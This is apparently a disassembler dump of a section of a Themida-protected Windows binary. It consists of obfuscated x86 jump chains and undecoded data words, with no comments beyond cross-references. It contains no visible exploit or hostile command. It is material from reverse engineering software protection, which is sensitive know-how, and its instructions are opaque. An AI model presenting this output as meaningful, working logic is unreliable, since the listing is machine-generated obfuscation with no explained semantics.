--------------------------------------------------------------------------- db 5Ah dd 24348B5Bh, 81E38953h, 4C3h, 4C38100h, 87000000h, 665C241Ch dd 6603E9C1h, 34FDC181h, 32F18166h, 0C83166F4h, 8B2434FFh dd 0C483240Ch, 4C48104h, 81000000h, 4ECh, 242C8900h, 5B36BD66h dd 0FFF0D9E9h db 0FFh ; --------------------------------------------------------------------------- loc_545F79: ; CODE XREF: Themida_:00547C3Bj mov ebp, ebx push 4EC0h mov [esp], ebp mov eax, [esp] add esp, 4 push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 sub esp, 4 mov [esp], ebp push esp pop ebp add ebp, 4 jmp loc_54DB00 ; --------------------------------------------------------------------------- aZsuo db 'ZéUo',0 dw 5600h a@Ha db 'ž+{@',9,'h <',0 align 2 dw 1C89h dd 22ADBB24h, 0CB8147D6h, 74084694h, 14D2EB81h, 0D3F71411h dd 5601EB83h, 4943BBBEh, 2DF7E94Dh, 0E9500000h, 2F5Bh dd 40B309B4h, 58E330h, 241C8BD9h, 4C481h, 9040000h, 46BE9h dd 88E95B00h db 70h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546003: ; CODE XREF: Themida_:0054E85Cj mov ebx, [esp] jmp loc_54CB67 ; --------------------------------------------------------------------------- loc_54600B: ; CODE XREF: Themida_:0054CD66j pop eax mov edi, [esp] add esp, 4 jmp loc_54DF83 ; --------------------------------------------------------------------------- db 89h dd 268240Ch, 54000000h, 8124048Fh, 42404h, 0C8B0000h, 4C48124h dd 68000000h, 0FD2h, 55240489h, 7F146368h, 0EDD15D68h dd 0D8C58145h, 81060E7Ch, 4E070EF5h, 5DE8893Ah, 0FFE1AAE9h dd 1E982DFFh, 0B9510F97h, 4D502888h, 5E0DC981h, 0E9C1040Eh dd 2AC18107h, 16A54B9h, 835959C8h, 0CAE902C0h db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54607F: ; CODE XREF: Themida_:0054CA06j pop eax sub edi, 4 jmp loc_54D3FE ; --------------------------------------------------------------------------- dd 240C8B66h, 0E95F5457h, 35F5h ; --------------------------------------------------------------------------- loc_546094: ; CODE XREF: Themida_:005470D4j sub ecx, 7FB22AB4h xor ebp, ecx pop ecx shl ebp, 4 not ebp jmp loc_54D22B ; --------------------------------------------------------------------------- loc_5460A7: ; CODE XREF: Themida_:0054511Ej add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_54BF8D ; --------------------------------------------------------------------------- dw 1C89h dd 5951BB24h, 0C3812662h, 365F2945h, 1944E381h, 0D3F70B1Ch dd 4B13EB81h, 0F38125BCh, 814FE306h, 4245C29h, 83241C8Bh dd 696804C4h, 8900002Eh, 0B1E9242Ch, 0B9000028h, 6FF541A0h dd 0D1F7D1F7h, 0F181D9F7h, 0DF508EC3h, 97C9E9h, 66AD6600h dd 5671DB05h, 2751BE66h, 81664666h, 663389F6h, 2285EE81h dd 0CEF68166h, 0F00166A6h, 1D05665Eh, 0D801665Ch, 39C1E9h dd 8D08BE00h, 0F2314A91h, 5AD3015Eh, 1C8BDF89h, 4C48324h dd 1AB3E9h db 0 ; --------------------------------------------------------------------------- loc_54615D: ; CODE XREF: Themida_:0054F38Dj mov [esp], ecx mov ecx, 4 sub ebx, 4BE65EC2h add ebx, ecx add ebx, 4BE65EC2h pop ecx add ebx, 4 xchg ebx, [esp] jmp loc_54FE80 ; --------------------------------------------------------------------------- loc_546182: ; CODE XREF: Themida_:00547B28j push 4 jmp loc_546F50 ; --------------------------------------------------------------------------- dd 4C781h, 0EF830000h, 243C8704h, 242C895Ch, 4F03E9h, 0F8015900h dd 0B270F32Dh, 38BCE91Ch, 88530000h, 6382E9E7h, 8B660000h dd 68512404h, 0D57h, 0E904EC83h, 9487h ; --------------------------------------------------------------------------- loc_5461C8: ; CODE XREF: Themida_:0054F4CDj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] and eax, edx jmp loc_54BE19 ; --------------------------------------------------------------------------- db 5 dd 4, 31240433h, 4332404h, 30E1E924h, 0C2810000h, 4C7F305Dh dd 3986E9h, 4940B800h, 0C1296143h, 0E924048Bh, 1BE1h ; --------------------------------------------------------------------------- loc_546210: ; CODE XREF: Themida_:0054FE86j xchg eax, esi push esi push 273Dh mov [esp], ebp mov ebp, 5E4513DEh add ebp, 67C0096Dh jmp loc_546655 ; --------------------------------------------------------------------------- dw 48Bh dd 28FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546232: ; CODE XREF: Themida_:0054B69Aj mov eax, [esp] add esp, 4 xor eax, 5ED05F50h push dword ptr [esp] pop ecx push esi mov esi, esp push eax mov eax, 4 jmp loc_54A20C ; --------------------------------------------------------------------------- loc_54624F: ; CODE XREF: Themida_:005452D6j push eax mov eax, 4B3213F3h sub eax, 0CC3EE9D8h mov edi, eax jmp loc_545EFA ; --------------------------------------------------------------------------- loc_546261: ; CODE XREF: Themida_:00546F82j xor eax, ecx sub esp, 4 mov [esp], eax jmp loc_5475A8 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd offset byte_5B16E9 db 0 ; --------------------------------------------------------------------------- loc_546279: ; CODE XREF: Themida_:0054632Cj push dword ptr [eax] pop ecx jmp loc_550090 ; --------------------------------------------------------------------------- loc_546281: ; CODE XREF: Themida_:005498BDj pop edi jmp loc_54D54E ; --------------------------------------------------------------------------- a_xsE db '_Xéˇe',0 align 2 dw 0EE29h dd 2434875Dh, 8924248Bh, 5B56241Ch, 0E95B5F53h, 8250h dd 68585450h, 6936h, 0B9240C89h, 4, 13FEBA52h, 0C14A1710h dd 0E2C107E2h, 81DAF708h, 0E04B14EAh, 0C5EA8159h, 53131BEh dd 4DCC3CA1h, 0BD55D029h, 4DCC3CA1h, 5A5DE829h, 8D29E9h db 0 ; --------------------------------------------------------------------------- loc_5462E5: ; CODE XREF: Themida_:0054561Fj mov [esp], ecx jmp loc_54B3EC ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch db '$h[/',0 align 2 dw 0C89h dd 4EC8324h, 55242489h, 4BDh, 362BE900h, 1C890000h, 2359E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546312: ; CODE XREF: Themida_:00544043j inc edx jmp loc_54E724 ; --------------------------------------------------------------------------- dd 24048B66h, 4EC81h, 34890000h, 90E95424h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_54632B: ; CODE XREF: Themida_:0054E168j pop edi jmp loc_546279 ; --------------------------------------------------------------------------- db 0E9h, 0ECh, 0DCh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546336: ; CODE XREF: Themida_:0054BFD7j xchg ebx, [esp] pop esp push edi push 800000h jmp loc_54E18C ; --------------------------------------------------------------------------- db 1, 0EBh, 81h dd 602F82EBh, 242C8B03h, 4C481h, 0C7E90000h, 5BFFFFDCh dd 9705E801h, 5D06AA11h, 4BD5552h, 89000000h, 0D0015DEAh dd 0F94BE95Ah, 7401FFFFh, 0BB530424h, 250A3EEFh, 8245C01h dd 3820E9h, 24148B00h, 6604C483h, 8D9E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546396: ; CODE XREF: Themida_:00546EA3j ; Themida_:00548BF6j push 86Dh mov [esp], ecx mov ecx, ebx push edx jmp loc_546BFB ; --------------------------------------------------------------------------- dw 685Ch dd 5E5h, 23EBE9h, 245C2900h, 241C8B04h, 4C481h, 0BD550000h dd 19AE2CEFh, 4246C01h, 0E92434FFh, 7B28h, 2CA304ACh, 52D80033h dd 1256E9h, 805C3400h, 0C3003BEBh, 0E93BC380h, 4250h ; --------------------------------------------------------------------------- loc_5463EC: ; CODE XREF: Themida_:00549EABj sub ebp, 8BA6A225h add ecx, ebp pop ebp xchg ecx, [esp] mov esp, [esp] sub esp, 4 mov [esp], edx push ecx jmp loc_548018 ; --------------------------------------------------------------------------- loc_54640A: ; CODE XREF: Themida_:0054C86Aj push esp pop edi push esi jmp loc_5499DD ; --------------------------------------------------------------------------- dw 0EB81h dd 67B46CB1h, 60E9CB01h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54641F: ; CODE XREF: Themida_:00549C11j pop eax jmp loc_54AEC7 ; --------------------------------------------------------------------------- db 81h, 0F2h, 0C8h dd 29044206h, 8B055AD6h, 143D223h, 238B2DF0h, 348B43D2h dd 5D545524h, 4C581h, 0C5810000h, 4, 2474FF55h, 0FE95D04h dd 8B000032h, 0C481242Ch, 4, 0E9241C8Bh, 6B42h, 0C828102Ch dd 0E9521004h, 0FFFFF02Bh ; --------------------------------------------------------------------------- loc_546474: ; CODE XREF: Themida_:005492BDj push eax mov eax, 1E697C8Bh add eax, 668E70A5h jmp loc_54A2B3 ; --------------------------------------------------------------------------- aISyd db 'ÓéyD',0 dw 100h dd 0A5055DE8h, 0E939280Dh, 84DFh, 462BE95Fh, 0D8280000h dd 0FE04B353h, 0E9CBFECBh, 0AB4h, 9D1C77FFh, 1CD35966h dd 67E99C24h, 5EFFFFDBh, 8C2DE9h, 2DF6800h, 0F9E90000h dd 87000089h, 0E95C2404h, 2664h, 0E99CC83Bh, 0FFFFDB46h dd 0FE6855h, 215D0000h, 34FF1C6Fh, 6FE95D24h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5464EF: ; CODE XREF: Themida_:0054A134j pop ecx jmp loc_54E938 ; --------------------------------------------------------------------------- db 50h, 81h, 0ECh dd 4, 2ABCE9h, 66652C00h, 8324148Bh, 0F3E902C4h, 0FE00003Eh dd 0C4B353C1h, 8093CB80h, 72E957CBh, 0B7000075h, 2E78E9B8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546526: ; CODE XREF: Themida_:0054938Ej sub ecx, 4FE2407Ah jmp loc_54A918 ; --------------------------------------------------------------------------- db 0C1h, 0E5h, 2 dd 0FFDEDBE9h, 0EE3166FFh, 2BE0E9h, 4016600h, 0E6E99C24h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54654B: ; CODE XREF: Themida_:00547472j push esi mov esi, 1BEB2D57h xor esi, 3857C6h dec esi push ebp jmp loc_54BBB1 ; --------------------------------------------------------------------------- dw 0DE89h dd 1E4DE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546566: ; CODE XREF: Themida_:0054FDBAj add esp, 4 not edi xchg edi, ebx xor ecx, ebx jmp loc_54F190 ; --------------------------------------------------------------------------- dd 0EFF1E95Ch, 0FA87FFFFh, 0C142DAF7h, 0B95105E2h, 6BF746Dh dd 6E53E952h, 0E9590000h, 0FFFFFE7Eh, 7A0068h, 242C8900h dd 962AE9h, 0E9F28100h, 8163DD3Ah, 587CF3C6h, 764BE966h dd 0C7810000h, 4396E663h, 3C8BFA09h, 4C48124h, 81000000h dd 562E34E2h, 8FCA8120h, 81375A21h, 0A1D275C2h, 56D2E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5465DA: ; CODE XREF: Themida_:0054DD7Cj push 18CDh mov [esp], ebp push esp pop ebp push eax mov eax, 3B483830h jmp loc_54BECF ; --------------------------------------------------------------------------- db 0BBh dd 2A16E21Eh, 895BDE31h, 24348BF0h, 4C481h, 0C7010000h dd 0CCE95158h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54660B: ; CODE XREF: Themida_:0054896Bj pop edx pop edi jmp loc_545A30 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815924h, 4, 4C181h, 0A4680000h, 89000050h, 9EBD242Ch dd 4D133F53h, 0AC67C581h, 0C181ECC0h, 42811279h, 0E981E901h dd 42811279h, 0E9242C8Bh, 8E22h, 5BDC6866h, 4494E9h db 0 ; --------------------------------------------------------------------------- loc_546655: ; CODE XREF: Themida_:00546225j shr ebp, 4 jmp loc_54F9F1 ; --------------------------------------------------------------------------- db 83h, 0EAh, 4 dd 5C241487h, 5782E9h, 0E8EB8100h, 5049A871h, 7A81E9h dd 32FF6400h, 0FFD9A5E9h, 0BD5557FFh, 2, 15DEF89h, 0FF515FF9h dd 59042474h, 5C24048Fh, 2FD5E9h db 0 ; --------------------------------------------------------------------------- loc_546699: ; CODE XREF: Themida_:00546D4Cj pop esi push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] shr eax, 10h jmp loc_545827 ; --------------------------------------------------------------------------- loc_5466B4: ; CODE XREF: Themida_:0054A799j shl eax, 8 push ebp mov ebp, 74300597h shl ebp, 2 xor ebp, 45D02CF0h add ebp, 623A3741h jmp loc_5444F2 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aHm db '$hM[',0 align 2 dw 1C89h dd 1C8B5424h, 8720E924h, 0EB800000h, 885051ADh, 0E9C188D8h dd 42B3h ; --------------------------------------------------------------------------- loc_5466F4: ; CODE XREF: Themida_:0054C9CEj mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor [esp+4], esi mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov eax, [esp] add esp, 4 xor eax, 1650194Eh jmp loc_54BD45 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 8F000000h, 248B2404h, 0B60F6624h, 1D6866C8h, 0C89665Ah dd 0D8D4E924h, 0E389FFFFh, 4CFE68h, 3B67E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54675A: ; CODE XREF: Themida_:0054AC93j push ebp mov ebp, 55DD0E93h jmp loc_54C7FC ; --------------------------------------------------------------------------- db 4Ah, 53h, 0BBh dd 1599746Ch, 0E3D1EBD1h, 3CB8143h, 8160C075h, 0D03C04F3h dd 0E31DE955h, 815AFFFFh, 4C4h, 778D6800h, 2C890000h, 815D5424h dd 4C5h, 4EC8100h, 89000000h, 4B82404h, 1000000h, 24048BC5h dd 3304C483h, 2C31242Ch, 242C3324h, 0F724248Bh, 6D2668F1h dd 14890000h, 0E99C5024h, 0FFFFD856h, 0E9D831ADh, 199Ah dd 56241C89h, 9E5817BEh, 4AF5E91Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5467E2: ; CODE XREF: Themida_:0054FFFEj mov edx, 264E37DBh mov esi, 0D9B1C825h jmp loc_54D8C5 ; --------------------------------------------------------------------------- loc_5467F1: ; CODE XREF: Themida_:0054F680j push ecx mov ecx, 249822D9h mov edi, 825673A4h sub edi, ecx pop ecx add edi, 16E71DCEh inc edi not edi jmp loc_54795B ; --------------------------------------------------------------------------- db 0BEh, 0F3h, 15h dd 0F709294Eh, 0F1EF815Eh, 13D7E7Dh, 243C8BFBh, 81E3E9h db 0 ; --------------------------------------------------------------------------- loc_546825: ; CODE XREF: Themida_:0054D9B5j pop esi and eax, edi jmp loc_54C21C ; --------------------------------------------------------------------------- aAS db 'Ë^éÎ',0Ah,0 dd 4C78100h, 8106E55Dh, 0B2056AC7h, 13C7814Ch, 812B3854h dd 0A1E68C7h, 1C4CE90Ah, 0C5890000h, 6288E9h, 48F5400h dd 24048124h, 4, 5024148Bh, 405E089h, 0E9000000h, 3816h dd 678968h, 24148900h, 0A5E9B5B2h, 5FFFFE9h, 7B154BEAh dd 81240C8Bh, 4C4h, 4A4EE900h, 0E9590000h, 400Ch, 5BC6E781h dd 685949h, 0E9000000h, 88C7h ; --------------------------------------------------------------------------- loc_5468AC: ; CODE XREF: Themida_:0054D97Fj add edi, 2 xchg edi, [esp] pop esp shr word ptr [esp], cl pushf jmp loc_544022 ; --------------------------------------------------------------------------- dd 0FFFFEF81h, 8147FFFFh, 0F7FB9DC7h, 5FF901FAh, 79E95150h dd 58FFFFF5h, 2474FF51h, 48F5904h, 24248B24h, 85F9E9h dd 7EEE8100h, 1000640h, 2434FFF2h, 4C4835Eh, 0FFECE2E9h dd 0B9E980FFh, 8855C180h, 0D30059CAh, 0C3285A66h, 10B868h dd 24148900h, 27ABE951h, 0F6810000h, 0CD9CD194h, 0E95EF001h dd 8A98h, 0CE81DEF7h, 60FA547Ch, 0D47BEE81h, 0BE56F6FFh dd 5FC1663h, 8108EEC1h, 0C9779BEEh, 84EE8148h, 298CCC25h dd 0F1015EF1h, 5EF7C181h, 335E2A70h, 0C31240Ch, 240C3324h dd 250DE9h, 5FF80100h, 22DF829h, 5F3DD011h, 5667E9h, 4C48300h dd 0E796866h, 0E56E9h, 24248B00h, 4EC81h, 14890000h, 6824h dd 8BE90000h, 6800004Ch, 5467h, 0E9240489h, 3F42h ; --------------------------------------------------------------------------- loc_5469A4: ; CODE XREF: Themida_:00548094j shr ebx, 3 shr ebx, 7 sub ebx, 1B692Eh jmp loc_54D707 ; --------------------------------------------------------------------------- loc_5469B5: ; CODE XREF: Themida_:0054D869j mov [esp], ecx jmp loc_544022 ; --------------------------------------------------------------------------- db 83h, 0EFh, 4 dd 2474FF57h, 243C8B04h, 8F6CE9h, 0BEE95300h, 81000062h dd 4ECh, 48F5400h, 24048124h, 4, 83241C8Bh, 0C38104C4h dd 4, 0E904C383h, 1E79h, 0BF243C89h, 8DB3872h, 15FF801h dd 38722DD8h, 79E908DBh db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546A0F: ; CODE XREF: Themida_:0054BED9j add ebp, eax mov eax, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_548DE3 ; --------------------------------------------------------------------------- dd 7DF28159h, 0E93B8618h, 4A7Fh, 0E9240489h, 2355h, 5A5BF988h dd 68h, 240C2800h, 50240C8Ah, 5ADE9h, 88D38800h, 678BE9DDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_546A5A: ; CODE XREF: Themida_:005476C8j mov esi, 15EF3F81h add esi, 0EA10C083h add ebp, esi jmp loc_549A9A ; --------------------------------------------------------------------------- loc_546A6C: ; CODE XREF: Themida_:00545E0Aj pop edx sub esi, 19963B8Eh sub esi, 125F22B1h sub esi, ecx jmp loc_54FA84 ; --------------------------------------------------------------------------- dd 0F24248Bh, 34FFC0B6h, 0EC835187h, 24348904h, 2F1AB850h dd 0C689555Bh, 0E924048Bh, 28F3h, 7524E952h, 0CD810000h dd 501D60B3h, 3BEDF581h, 0CD816915h, 0E927F74h, 48DBED81h dd 0EA2916D2h, 83242C8Bh, 0D30104C4h, 0E8C3815Ah, 0E949A871h dd 0FFFFEE54h ; --------------------------------------------------------------------------- loc_546AD4: ; CODE XREF: Themida_:0054FF94j sub edi, 77830B8Fh xor edi, 0C29CE03Fh add [esp+4], edi pop edi mov eax, [esp] push edi jmp loc_54B2BA ; --------------------------------------------------------------------------- loc_546AEE: ; CODE XREF: Themida_:00545138j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax jmp loc_54E71A ; --------------------------------------------------------------------------- dd 0D95AE95Bh, 4BAFFFFh, 1000000h, 24148BD7h, 0B2E9h, 653E6800h dd 4890000h, 52E08924h, 4DC0E9h db 0 ; --------------------------------------------------------------------------- loc_546B25: ; CODE XREF: Themida_:0054B7BFj mov ebx, [esp] jmp loc_54775E ; --------------------------------------------------------------------------- loc_546B2D: ; CODE XREF: Themida_:0054ADC1j xor ecx, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebx push eax mov ah, dl jmp loc_549AFE ; --------------------------------------------------------------------------- db 5Bh, 81h, 0C3h dd 4, 4E31B951h, 86E95C59h, 5F00001Ah, 4C581h, 2C870000h dd 52E95C24h, 0ADFFFFE9h, 6C78CA2Dh, 0E9D8014Bh, 3380h dd 3159C581h, 0DDF74327h, 6F6FBE56h, 0E6D12864h, 81EED146h dd 92BD9CEEh, 5EF529D7h, 51E9E901h, 5F000081h, 815F5457h dd 4C7h, 4EF8300h, 0E9243C87h, 0FFFFE2CFh ; --------------------------------------------------------------------------- loc_546BA8: ; CODE XREF: Themida_:0054ECDFj push eax push 617C0364h pop eax jmp loc_54AF00 ; --------------------------------------------------------------------------- loc_546BB4: ; CODE XREF: Themida_:0054A1C0j mov [esp], edx mov eax, [esp] jmp loc_54E050 ; --------------------------------------------------------------------------- db 83h dd 5FE904C4h, 83000036h, 38E904C4h db 75h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546BCF: ; CODE XREF: Themida_:0054A2F3j sub edi, 1BBB0470h sub esp, 4 mov [esp], edi sub dword ptr [esp], 11C1373Dh pop ecx jmp loc_54F258 ; --------------------------------------------------------------------------- dd 4055Ch, 0B9510000h, 2, 4CE9C801h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546BFB: ; CODE XREF: Themida_:005463A1j sub esp, 4 mov [esp], eax push edx mov edx, ecx mov eax, edx jmp loc_548CFC ; --------------------------------------------------------------------------- loc_546C0B: ; CODE XREF: Themida_:0054C256j push 45F1h mov [esp], ecx mov ecx, 0BC77FCCh jmp loc_5453B8 ; --------------------------------------------------------------------------- db 5Dh, 5Ah, 2Dh dd 15FA0F84h, 5356D001h, 2A547E68h, 0E94B5B0Ch, 1AA2h dd 4C681h, 0C6810000h, 4, 5C243487h, 0FFD3D9E9h, 80EBB5FFh dd 0F580F3CDh, 0CCCD801Fh, 0E983ED80h, 1306h, 8B241487h dd 48B2424h, 11ED6824h, 9BE90000h, 0B5FFFFF6h, 66EB2810h dd 80C30059h, 686610C3h, 88E97AF0h, 8100000Bh, 4C4h, 0ECF58000h dd 0FFD655E9h, 74C680FFh, 1EF680h, 71D3E9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546C9E: ; CODE XREF: Themida_:00549A2Cj inc eax and eax, 501A1280h xor eax, 37C15DA3h xor ebx, eax pop eax mov edx, ebx pop ebx add edx, 4A7D3E53h sub edx, 7C59530Ch add edx, edi add edx, 7C59530Ch jmp loc_5445FD ; --------------------------------------------------------------------------- loc_546CC8: ; CODE XREF: Themida_:0054C1B2j push ebx jmp loc_549CD9 ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48324h, 55E18951h, 0FA2465BDh, 8BE5810Ah, 81443700h dd 351CD1F5h, 0FE82E96Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546CEE: ; CODE XREF: Themida_:00548E6Dj add ebp, 4 jmp loc_545B1D ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aHqh db '$hďh',0 align 2 aS_5 db 'é ',27h,0 dw 0AD00h dd 207F83h, 443BE9h db 0 ; --------------------------------------------------------------------------- loc_546D11: ; CODE XREF: Themida_:0054CD7Aj pop esi sub esp, 4 jmp loc_54B65C ; --------------------------------------------------------------------------- dw 3C87h dd 0E57AE924h, 3BB5FFFFh, 0B353DDF6h, 5BF38055h, 0E95BDD30h dd 0D51h, 243CD366h, 0D2E4E99Ch, 34FFFFFFh, 0F8E95824h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_546D47: ; CODE XREF: Themida_:00549A3Fj and eax, esi push dword ptr [esp] jmp loc_546699 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_54835B ; --------------------------------------------------------------------------- dd 4C481h, 52660000h, 66DAE9h, 0D2A8E900h, 0C781FFFFh dd 4, 0E904C783h, 0FFFFEE22h, 0C38095B3h, 0EBB7E9C2h, 640DFFFFh dd 0E916E224h, 576Bh, 0FF24248Bh, 48B2434h, 110FE924h dd 348B0000h, 0D6E95024h, 0B9000008h, 4, 8159CF01h, 4C7h dd 243C8700h, 24048F5Ch, 2C31E9h, 24248900h, 4240483h dd 4EC815Fh, 89000000h, 4BB241Ch, 81000000h, 2030C8C7h dd 29E1E939h, 875D0000h, 248B2404h, 2424D324h, 0D224E99Ch dd 0E289FFFFh, 1A95E9h db 0 ; --------------------------------------------------------------------------- loc_546E05: ; CODE XREF: Themida_:00549D5Fj add edi, 39796AA4h mov eax, [esp] add esp, 4 push edx mov edx, esp jmp loc_5473AF ; --------------------------------------------------------------------------- loc_546E1C: ; CODE XREF: Themida_:0054B44Bj mov dh, 0Ch mov al, dh jmp loc_54828A ; --------------------------------------------------------------------------- loc_546E25: ; CODE XREF: Themida_:0054B6DFj mov esi, 4 add ebp, 594829A8h push 52CFh mov [esp], esi mov esi, 58591859h sub ebp, esi pop esi jmp loc_54739C ; --------------------------------------------------------------------------- db 51h, 0B9h, 4 dd 0E9000000h, 210Ch ; --------------------------------------------------------------------------- loc_546E50: ; CODE XREF: Themida_:0054A348j push esi mov esi, esp add esi, 4 push eax mov eax, 17607CBh xor eax, 73C05805h sub eax, 436E0FA0h dec eax inc eax jmp loc_54C857 ; --------------------------------------------------------------------------- dd 6E4968h, 240C8900h, 0C1815954h, 4, 4E981h, 0C330000h dd 8BFCE924h, 0FD280000h, 1A6BE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_546E96: ; CODE XREF: Themida_:0054CC3Dj mov ebx, 24h add ebx, edi xor esi, [ebx] pop ebx xor [edi+24h], esi jmp loc_546396 ; --------------------------------------------------------------------------- dd 7D5468h, 240C8900h, 8C3C62B9h, 7AB1687Bh, 0C890000h dd 8B595324h, 0B6E9241Ch, 0FF00004Eh, 34FF2434h, 24148B24h dd 4C481h, 0E9570000h, 86F1h, 33BA5257h, 81024B3Eh, 820AF6CAh dd 0BAEA8135h, 0C140A52Dh, 0EA8105E2h, 0B27B1766h, 0E95AD789h dd 445Fh, 0E956EA80h, 41FFh, 5C240C87h, 0BF243C89h, 4 dd 565FF901h, 2BEh, 5EF12900h, 0FFD432E9h, 81E689FFh, 4C6h dd 4EE8300h, 5C243487h, 88241489h, 2E7068C6h, 0C890000h dd 53F18824h, 28BBh, 0E9FB0100h, 48C3h ; --------------------------------------------------------------------------- loc_546F50: ; CODE XREF: Themida_:00546187j pop eax jmp loc_54DB3D ; --------------------------------------------------------------------------- loc_546F56: ; CODE XREF: Themida_:0054CB22j mov edi, ecx pop ecx and eax, edi jmp loc_547FB8 ; --------------------------------------------------------------------------- dd 0C02FF380h, 0B45007EBh, 0F4E4802Dh, 28E9DCF6h db 80h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546F73: ; CODE XREF: Themida_:0054BE1Cj mov edx, [esp] add esp, 4 add esp, 4 shr eax, 0Ch jmp loc_546261 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54A9D2 ; --------------------------------------------------------------------------- db 51h, 0B9h, 0E2h dd 81682E02h, 0E57C94EBh, 0E9CB013Bh, 8AEh ; --------------------------------------------------------------------------- loc_546FA8: ; CODE XREF: Themida_:005476BAj add esp, 4 xor esi, edx xor edx, esi jmp loc_54F4B2 ; --------------------------------------------------------------------------- db 83h dd 1C8904ECh, 57E38924h, 4BFh, 7E95200h db 6Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_546FCB: ; CODE XREF: Themida_:0054B286j xor al, dl xor dl, al neg al jmp loc_54C812 ; --------------------------------------------------------------------------- dw 48Bh dd 4C48124h, 87000000h, 248B241Ch, 241C8924h, 6D07E954h dd 48F0000h, 8B545724h, 0C483243Ch, 0F18EE904h, 0E089FFFFh dd 405h, 0FE3BE900h, 3489FFFFh, 395BBE24h, 0C6816C24h dd 34FB05DFh, 6E6C146h, 837AE9h db 0 ; --------------------------------------------------------------------------- loc_547021: ; CODE XREF: Themida_:0054F765j add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp add esi, 2 xchg esi, [esp] jmp loc_54D024 ; --------------------------------------------------------------------------- db 81h, 0F6h, 31h dd 8124B328h, 0E731EFEFh, 81F72955h, 0E731EFC7h, 74E95E55h dd 6600004Dh, 50240C8Bh, 2434FF54h, 4EC8358h, 5AD6E9h db 0 ; --------------------------------------------------------------------------- loc_547065: ; CODE XREF: Themida_:0054A97Aj not edi xor edi, 43B54A86h jmp loc_54E302 ; --------------------------------------------------------------------------- aVs_l db 'Vé_L',0 align 4 dd 8B126F0Dh, 4E0C144h, 0EB9EE605h, 58C62957h, 0FEE9F789h dd 89FFFFD8h, 0D9E9241Ch, 53000018h, 8EE91BB3h, 81FFFFF7h dd 4ECh, 24048900h, 0FFFBFFB8h, 1C4721FFh, 523FE9h, 0E7C15A00h dd 6BBD5508h, 812BEF04h, 0EF046CEDh, 5DEF292Bh, 582AE9h db 0 ; --------------------------------------------------------------------------- loc_5470CD: ; CODE XREF: Themida_:0054F92Cj mov ecx, 59B57965h neg ecx jmp loc_546094 ; --------------------------------------------------------------------------- db 0F7h, 0DDh, 81h dd 3D9190EDh, 5DE9296Ch, 1CE9E901h, 8F00003Ch, 0B9E94047h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5470F3: ; CODE XREF: Themida_:0054F48Fj mov esi, ebp pop ebp and eax, esi jmp loc_5476E1 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aRtzsmz db '$RTZéz',0 db 0 ; --------------------------------------------------------------------------- loc_547109: ; CODE XREF: Themida_:0054F20Bj pop cx shr bh, 8 xor bh, 0DBh push edx push eax mov ah, 19h jmp loc_5500AC ; --------------------------------------------------------------------------- loc_54711A: ; CODE XREF: Themida_:0054C4A4j push 6677h jmp loc_54B64E ; --------------------------------------------------------------------------- dd 6CE9D800h, 66FFFFFFh, 57240C8Bh, 5650E789h, 710DBB53h dd 0E951150Bh, 0B0Eh, 8B92D029h, 0C4832404h, 0F0E95704h dd 0AD00003Eh, 177D68h, 243C8900h, 0C781E789h, 4, 0FFF858E9h dd 8BD830FFh, 51E9241Ch, 89000017h, 14F7243Ch, 0EFC15F24h dd 14F75706h, 0EF815F24h, 1D741BDFh, 8AB85056h, 0D1075C5Bh dd 0B1E948E0h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547193: ; CODE XREF: Themida_:0054B9AEj add esp, 4 and eax, ebp jmp loc_54B542 ; 